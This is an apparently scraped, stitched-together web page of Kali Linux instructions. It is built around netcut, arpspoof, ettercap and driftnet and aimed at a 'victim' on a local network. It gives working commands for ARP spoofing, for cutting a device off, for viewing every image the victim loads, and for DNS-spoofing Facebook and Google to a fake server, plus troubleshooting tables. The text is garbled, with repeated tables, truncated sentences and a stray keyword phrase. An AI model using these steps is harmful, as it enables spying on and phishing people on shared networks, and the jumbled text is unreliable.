Capture every image the victim views (even without downloading):
sudo driftnet -i eth0
A window will pop up displaying every JPEG, PNG, or GIF they load.
sudo netcut -c 192.168.1.105
| Problem | Solution |
| :--- | :--- |
| arpspoof: couldn't find arp address | You need to install dsniff and run as sudo. Also verify the interface name (ip link show). |
| Spoof works, but victim still has internet | You must enable IP forwarding (sysctl -w net.ipv4.ip_forward=1). |
| Target not showing in scan | You are on a switched network with port isolation. Use nmap -Pn to bypass ping sweeps. |
| Wine Netcut shows "NPcap not found" | Netcut expects Windows drivers. Use native Linux tools instead. |
| "Device or resource busy" on eth0 | Another tool (like ettercap) is already using the interface. Run sudo pkill ettercap. |
ARP spoofing allows an attacker to see your traffic, but if the traffic is encrypted (HTTPS, VPN, SSH), they see only gibberish. netcut kali linux
Modify /etc/ettercap/etter.dns:
*.facebook.com A 192.168.1.100
www.google.com A 192.168.1.100
Then run:
sudo ettercap -T -M arp:remote /192.168.1.1// /192.168.1.105// -P dns_spoof
Every time the victim tries to visit Facebook, they land on your fake web server.
| Problem | Solution |
|---------|----------|
| netcut: command not found | Install properly or run from install directory (/opt/netcut/netcut) |
| No devices found | Ensure you’re on a LAN (not public WiFi with client isolation) |
| Cutting doesn’t work | Disable IPv6 on your interface, or try arpspoof from dsniff as alternative |
| Netcut won’t start | Run with sudo and check if libpcap is installed: sudo apt install libpcap-dev | Capture every image the victim views (even without
sudo arpspoof -i eth0 -t 192.168.1.12 192.168.1.1
Once you have the MITM position, you can go far beyond simple disconnection. A window will pop up displaying every JPEG,